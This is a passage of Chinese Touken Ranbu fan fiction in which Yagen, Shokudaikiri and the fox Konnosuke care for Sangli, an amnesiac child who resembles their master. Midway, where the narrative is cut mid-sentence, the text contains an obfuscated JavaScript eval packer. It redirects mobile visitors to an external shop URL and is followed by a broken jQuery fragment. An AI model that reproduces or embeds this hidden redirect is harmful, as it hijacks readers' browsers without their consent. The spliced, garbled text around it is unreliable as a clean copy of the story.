小桌上,精致清淡的饭菜摆放在餐盘里,井然有序,赏心悦目。

    桑里抬着手臂低头打量,看看这个又看看那个,一时间不知道怎么下手,他抬头看向面前的少年。

    “大哥哥,这些都是给我的吗?”

    突如其来的称呼,一刀一狐听罢皆是一愣。

    隐约察觉到里面或许有自己的锅,狐之助默默捂住脸。

    叫你嘴贱叫你嘴贱,为什么要介绍成家人,现在好了吧。

    药研推推眼镜,眼神有一瞬间的松软,但又很快恢复如常。

    “审神者大人叫我药研就好,是的,这些都是为您准备的,不必有任何顾虑。”

    “谢谢药研哥哥。”

    药研垂眸看他,想说别叫我药研哥哥,但他看着小孩,几欲张嘴都没说得出来话。

    小孩吃得太认真了,每一口都会细细品味,就仿佛在吃什么大餐。

    药研别开眼,放在身侧的手不自觉动了动,捏起衣角蹂躏。...烛台切的做饭水平不差,但也没到厨神的程度,为什么要露出这种表情。

    别以为这样他就可以把眼前的事情当从没发生。

    药研垂眸,攥紧的手掌不停传来痛意。

    -

    午饭本就是按照小孩的量准备,但还是剩了不少,药研目光一扫小孩圆鼓鼓的肚子没说话。

    婉拒小孩帮忙的提议,并将在一旁装死的狐之助塞到他怀中,药研动作利落收拾好碗筷,起身往外走。

    余光里,在他转身的刹那,狐之助动了。

    药研收回目光,脚步顺畅离开房间。

    得益于刀剑男士卓越的五感,在他们面前,门完全就是装饰品。药研一手稳着托盘,依靠在门边,听着房间里一人一狐的对话。

    狐之助在试图劝小孩换个称呼,小孩对此表示不解。

    “为什么?狐不是说是家人吗?”

    “啊啊啊我的意思是,我的意思是说,也要分情况的啦。”

    药研垂眸看着地面,明明才相处一会儿,他却完全能想象到小孩提出疑问时的样子。

    他还是第一次见到这么小的小孩子,看起来和退差不多大,七八岁的年纪,看向人时灰眸明亮如珍珠。

    小孩圆圆的眼眸逐渐和记忆里的灰眸对应上,药研握着托盘的手紧了紧。

    “真的吗?”

    “对呀对呀,我肯定不会骗你。而且,而且啊。”狐之助灵机一动。“你这么快就叫别人哥哥,即使他们是你找的家人,但等你想起来自己的家在哪,找到自己的家人,让他们知道你在外面叫别人哥哥,他们也会不开心,会难过的。”

    “...狐,我真的还能记起来吗?”

    “肯定可以的!”

    安慰好沮丧的桑里,狐之助似有所感朝外看。

    和小孩嘱托几句后,他从桌上跳下,悄无声息来到房门口,用脑袋顶出一条缝,脑袋探出去。

    房间外空空如也,一个人都没有。

    狐之助缩回脑袋,后腿一蹬,重新关上门,下一秒,惊叫声传来。

    “呜哇,审神者大人你怎么站起来了!会头晕的啊!!...当心摔跤,审神者大人!!”

    -

    桑里死死盯着小碗,就像在看什么仇敌。余光看到身边的少年,他苦着脸抬头。

    “药研哥哥我已经好了,不需要再喝药了。”

    药研拢拢衣服。

    “是吗?那早上走路摔倒差点磕到桌角的人是谁?”

    被,被看到了?

    桑里瞪大眼。

    好,好吧。

    桑里认命拿起药碗,一股脑将苦到舌头发麻的药汁全部倒入嘴里。

    “咳咳咳...”

    “张嘴。”

    酸酸的梅子瞬间将苦涩冲散,桑里舒展小脸,毫不吝啬给来人一个大大的笑。

    “谢谢药研哥哥。”

    药研收了药碗转过身,刚迈开步子,衣角传来拉扯感,走不动了。

    他低下头,圆乎乎的小脸面带笑容斜凑过来。

    “我有东西要给药研哥哥!”

    摊开的手心里躺着一个布袋子。药研接过袋子打开查看。

    打开看清楚里面是什么,他一愣。

    “蜜饯?”

    小孩不能吃太多蜜饯,他一直严格控制着量,到现在为止只给了两颗,更多的时候给的都是梅子。

    梅子既是用来哄小孩的法宝,也是开胃的好帮手,蜜饯太甜,小孩子不能吃太多。

    小孩有多喜欢蜜饯他是看在眼里的,每次得到新的总眼巴巴看着,舍不得吃。

    “给我的?”

    桑里使劲点头。

    蜜饯不大,放在药研的掌心,更是显得小。

    “为什么?”

    桑里吸溜了下口水,用舌头推搡了下嘴里的梅子,将它顶到脸颊的另一边。

    嘴巴鼓鼓囊囊,说话声音有些含糊。

    “因为药研哥哥要照顾我,很辛苦。”

    药研定睛看他,眼底划过几分复杂。

    复杂的神色一闪而过,速度之快,和他距离很近的桑里都没看到。

    话语始终没得到回答,桑里歪歪头。

    “药研哥哥?”

    药研收拢手指将布袋子握于掌心。

    “多谢,那我就收下了。”

    药研站起身,轻拍了下桑里的脑袋,大步离去。

    “好好休息,我找到一些书本和画纸,明天过来。”

    欢呼声穿过门缝,清晰传入耳中。手心的布袋子分量感十足,药研站在门口,低头看向掌心。

    蜜饯圆润饱满,很好看,但不稀奇。

    同事里有十分擅长做梅子干蜜饯这类食物,本丸里还有很多很多做好的梅子干和蜜饯。

    药研身上也有一大袋,每次给桑里的梅子都是从这里拿的。

    他看着布袋子半晌,从口袋里拿出装有梅子的袋子,将他们收到一起。

    -

    药研一路向前,两个拐弯后来到厨房。

    相比饭点时,此时这里没那么热了。

    灶台前站着一个身影。

    “辛苦了,烛台切。”

    “喔,药研回来了。”

    烛台切看着来人,露出爽朗的笑容。

    “审神者大人怎么样了?情况还好吗?”

    药研站在烛台切两步外洗碗。

    “没问题,身子正在缓慢恢复。”

    对方看过来的目光强烈到无法忽视,药研拿起洗碗布擦拭药碗,平静回望。

    “怎么了?烛台切?”

    “药研看起来心情很好啊。”

    药研收回目光,低头仔细擦拭药碗。

    “说什么呢。”

    不过两个药碗,擦拭起来很快,药研端着洗好的药碗,对烛台切点头示意后,转身往外走。

    还没走几步,背后传来对方的话。

    “一直药研一个人照顾那位大人真是辛苦了,晚上的饭菜做好了后我自己去送吧,药研正好可以休息休息。”

    药研停

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746874|209314||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下脚步,转身看他。

    “我给他配的药里面有几味成分不是很有把握,需要观察他的进食情况决定要不要调整。”

    药研说着,推推眼镜。

    “烛台切一个人准备饭菜已经够累够忙了,放心,这点事情我完全没问题,不必客气。”

    药研说完,又对烛台切颔首示意,随即离开厨房。

    -

    狐之助很会讲故事,每次给桑里讲睡前故事时总会放缓声音。

    在好多小狐之助的陪伴下,桑里美美进入梦乡。

    睡饱后,桑里醒了。

    “狐,”他闭着眼睛翻身,伸手在身边摸索。

    摸了好一会儿,掌下都空空如也,桑里撑起脑袋,睁开眼,茫然环顾四周。

    “狐?狐?”

    狐之助站在房门口,样子看着有些奇怪,桑里叫了他好几声,他才听到。

    “诶诶,在呢。”

    狐之助小跑着回到桑里身边,用脑袋顶起桑里的手,将毛绒绒的脸放到他的手心。

    “狐干什么去?”

    狐之助撇撇耳朵,舔了几下嘴巴。

    “也不是什么要紧事,就是...”

    话语还没说完,下一秒,它被揽到怀中。温热的呼吸声吐在胸口,狐之助浑身僵硬。

    果不其然。

    “...香香的,狐吃什么了?”

    狐之助回想着食物的香气,尾巴甩得欢快。

    “是油豆腐哦,审神者大人,我好久没有吃到油豆腐了喔喔,真好吃啊。”

    “油...豆腐?”

    说到吃的,桑里清醒了些,抬头看看门口。

    “是药研哥哥来了吗?”

    “不,不是,”狐之助再度舔舔嘴,眼神飘忽。

    呜...没有狐能拒绝油豆腐吧?都怪烛台切大人太会做油豆腐了,完全拒绝不了。

    怎么办呐,要和审神者大人说吗?

    门外传来陌生的声音。

    “您好,审神者大人,我是烛台切光忠,打扰您睡午觉真是抱歉,我是来送下午茶的。”

    下午茶?

    桑里看眼狐之助,在它小声的的解释声中舔了舔最,坐直身子。

    “...请进。”

    ‘唰。’门被打开了。

    来人身材高大,深蓝色的头发,漂亮的金瞳。

    就是...就是只能看到一个眼睛??为,为什么?

    桑里下意识捏了捏手臂上的绷带,转头寻找狐之助。

    但狐之助正摇晃尾巴,仰头看着烛台切。

    好,好吧。

    桑里扣扣绷带上翘起的小角,小小撇了下嘴,将疑问压回心底。

    不知桑里想法的烛台切,心里是波涛澎湃。

    来见桑里之前,他想过许多药研表现不对劲可能的原因,哪成想每一个原因都不会,真实情况比他想象的更加炸裂。

    这到底怎么一回事?

    谁能告诉他,这个小小的,长得和他们的主人简直一摸一样的小孩是从哪冒出来的?

    主人的孩子?

    不对吧?就算是孩子也做不到长得这么像吧?

    而眼前的小孩完全就是缩小版的主人。

    想到几天前是药研接的人,他一定清楚详情,烛台切深吸一口气,强行按捺住情绪,带着微笑将托盘放到小孩面前的小桌子上。

    “因为不清楚您的口味和喜好,所以只做了最简单的,不会出错的两款甜品,布丁和奶冻,请享用,审神者大人。”